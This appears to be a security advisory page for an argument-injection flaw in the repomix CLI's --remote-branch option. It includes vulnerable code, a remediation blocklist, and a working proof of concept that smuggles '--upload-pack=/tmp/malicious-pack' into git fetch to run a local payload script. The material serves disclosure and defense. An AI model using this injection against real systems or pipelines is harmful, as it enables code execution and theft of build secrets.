Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Exploitation needs the victim/pipeline to run repomix with attacker-supplied branch input (UI:R) but no attacker auth (PR:N) and low complexity, yielding full C/I/A impact with no scope change.
Primary rating from Vendor (https://github.com/yamadashy/repomix).
CVSS VectorVendor: https://github.com/yamadashy/repomix
Lifecycle Timeline
5Blast Radius
ecosystem impact- 3 npm packages depend on repomix (3 direct, 0 indirect)
Ecosystem-wide dependent count for version 1.14.1.
DescriptionCVE.org
Vulnerability Metadata
| Field | Detail |
|---|---|
| Affected Component | src/core/git/gitCommand.ts (execGitShallowClone) |
| Impact | Arbitrary Command Execution / Security Control Bypass |
Summary
The --remote-branch CLI option in repomix is vulnerable to argument injection. User-supplied input is passed directly to git fetch and git checkout subprocesses via child_process.execFileAsync without sanitization, -- delimiters, or validation.
An attacker can inject arbitrary git command-line options. By injecting the --upload-pack option and specifying an SSH (git@...) or local (file://) remote URL, an attacker achieves arbitrary command execution with the privileges of the user running repomix. This bypasses the existing dangerousParams blocklist implemented in validateGitUrl().
Vulnerable Code Analysis
File: src/core/git/gitCommand.ts
The remoteBranch parameter is appended directly to the arguments array for git subprocesses without the -- positional delimiter.
Sink 1 (Lines 118-127):
await deps.execFileAsync(
'git',
['-C', directory, 'fetch', '--depth', '1', 'origin', remoteBranch], // Vulnerable
gitRemoteOpts,
);
Sink 2 (Lines 148-151):
await deps.execFileAsync('git', ['-C', directory, 'checkout', remoteBranch]); // Vulnerable
Bypassed Security Control (Lines 192-197): The application attempts to prevent this exact vulnerability class by blocking dangerous parameters (--upload-pack, --receive-pack, --config, --exec) within the validateGitUrl function. However, this validation is exclusively applied to the url variable and omitted for remoteBranch, creating a direct bypass.
Attack Flow
[Source] repomix --remote-branch <injected_option>
↓
src/cli/actions/remoteAction.ts:226 (cloneRepository)
↓
src/core/git/gitCommand.ts:118 (execGitShallowClone)
↓
[Sink] execFileAsync('git', ['...', 'origin', '--upload-pack=/tmp/payload'])
↓
[Execution] git invokes the payload binary via transport helper
Proof of Concept (Steps to Reproduce)
1. Create the Payload Create an executable bash script that writes system execution context to a file. *(Reference: Screenshot_2026-05-18_13_02_16.png)*
cat > /tmp/malicious-pack << 'EOF'
#!/bin/bash
echo "=== RCE EXECUTED ===" > /tmp/repomix-pwned.txt
id >> /tmp/repomix-pwned.txt
EOF
chmod +x /tmp/malicious-pack
2. Trigger the Vulnerability Establish a dummy remote and trigger the fetch operation, injecting the --upload-pack argument. *(Reference: Screenshot_2026-05-18_13_08_36.png)*
# Setup dummy bare remote
git init --bare /tmp/dummy-remote.git
# Initialize local repo and add remote
mkdir /tmp/test-fetch && cd /tmp/test-fetch
git init
git remote add origin file:///tmp/dummy-remote.git
# Execute vulnerability
git fetch --upload-pack=/tmp/malicious-pack origin 2>&1
3. Verify Execution Execution occurs prior to git protocol validation. The script executes successfully despite the fetch operation returning a 128 exit code.
cat /tmp/repomix-pwned.txt
*Expected Output:*
=== RCE EXECUTED ===
uid=1000(kakashi) gid=1000(kakashi) groups=1000(kakashi)...
End-to-End Execution via Repomix:
repomix --remote git@github.com:yamadashy/repomix.git --remote-branch '--upload-pack=/tmp/malicious-pack'
Impact
- Remote Code Execution: Complete system compromise with the privileges of the user executing
repomix. - CI/CD Compromise: If
repomixis utilized in automated pipelines where--remote-branchis populated by external triggers (e.g., webhook payloads, PR titles), attackers can compromise build servers and exfiltrate secrets.
Remediation
1. Implement Positional Delimiters (Primary Fix) Append the -- delimiter to explicitly separate options from positional arguments in all git subprocess calls utilizing remoteBranch.
await deps.execFileAsync(
'git',
['-C', directory, 'fetch', '--depth', '1', 'origin', '--', remoteBranch],
gitRemoteOpts,
);
2. Apply Existing Blocklist to Branch Parameter (Defense in Depth) Update execGitShallowClone to validate remoteBranch against the existing dangerousParams array.
const dangerousParams = ['--upload-pack', '--receive-pack', '--config', '--exec'];
if (remoteBranch && dangerousParams.some((param) => remoteBranch.includes(param))) {
throw new RepomixError(`Invalid branch name. Contains potentially dangerous parameters: ${remoteBranch}`);
}
Attachments
Screenshot 1: Payload script created with executable permissions. <img width="1920" height="1080" alt="Screenshot_2026-05-18_13_02_16" src="https://github.com/user-attachments/assets/a0ada9de-c689-4ed8-9937-dd7faf6e6cc0" />
Screenshot 2: Vulnerable Code <img width="1920" height="1080" alt="Screenshot_2026-05-18_13_03_44" src="https://github.com/user-attachments/assets/b72c7e05-d857-497a-9ae5-0822f86fa032" />
Screenshot 3: Verifying RCE. <img width="1920" height="1080" alt="Screenshot_2026-05-18_13_08_36" src="https://github.com/user-attachments/assets/f153545e-e5e8-4165-ac1a-f84efbb1c135" />
---
Credits
This vulnerability was discovered and responsibly disclosed by:
- Researcher: Abhijith S.
- GitHub: @kakashi-kx
- HackerOne/Bugcrowd: kakashi4kx
AnalysisAI
Arbitrary command execution in repomix (npm package, versions < 1.14.1) arises from argument injection in the --remote-branch CLI option, whose value is passed unsanitized into git fetch and git checkout subprocesses within src/core/git/gitCommand.ts. Because the branch value is not prefixed with a -- positional delimiter and skips the dangerousParams blocklist that validateGitUrl() applies only to the URL, an attacker can inject options such as --upload-pack and, combined with an SSH or file:// remote, execute an arbitrary payload binary with the invoking user's privileges. Publicly available exploit code exists, no active exploitation is confirmed (not in CISA KEV), and the flaw is fixed in v1.14.1.
Technical ContextAI
repomix is a Node.js/TypeScript CLI that packs a repository's contents into a single file for LLM consumption and can clone remote repositories on demand. The root cause is CWE-88 argument (parameter) injection: execGitShallowClone builds argument arrays for child_process.execFileAsync('git', [...]) and appends the user-controlled remoteBranch directly after origin (fetch sink, lines 118-127) and after checkout (lines 148-151) with no --/--end-of-options separator. Git interprets any leading-dash token as an option, so a branch value like --upload-pack=/path/to/payload is parsed as the upload-pack transport helper, which git then executes for SSH/local transports before protocol validation completes - converting option injection into code execution. The maintainers had already anticipated this class by blocking --upload-pack, --receive-pack, --config, and --exec in validateGitUrl(), but that guard was never applied to the branch parameter, yielding a direct bypass. Package coverage is limited to pkg:npm/repomix.
RemediationAI
Vendor-released patch: upgrade repomix to 1.14.1 or later (e.g. npm install -g repomix@latest, or pin >=1.14.1 in project manifests and lockfiles). The fix (commit 92bfa3193b5233a0d21beff929444153c088de82) adds a validateGitRef() check that rejects any branch/ref beginning with - and inserts git's --end-of-options delimiter before remoteBranch in both the fetch and checkout calls, so injected options can no longer be parsed. If you cannot upgrade immediately, do not pass untrusted or externally-derived values to --remote-branch: in CI/CD, stop populating that flag from webhook payloads, PR titles, or arbitrary branch names, and instead validate branch names against an allowlist pattern (reject anything starting with - and restrict to git's legal refname characters) before invoking repomix - the trade-off is that legitimate but unusually-named refs may be rejected. See the advisory at https://github.com/yamadashy/repomix/security/advisories/GHSA-9mm9-rqhj-j5mx and the fix commit https://github.com/yamadashy/repomix/commit/92bfa3193b5233a0d21beff929444153c088de82.
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-44758
GHSA-9mm9-rqhj-j5mx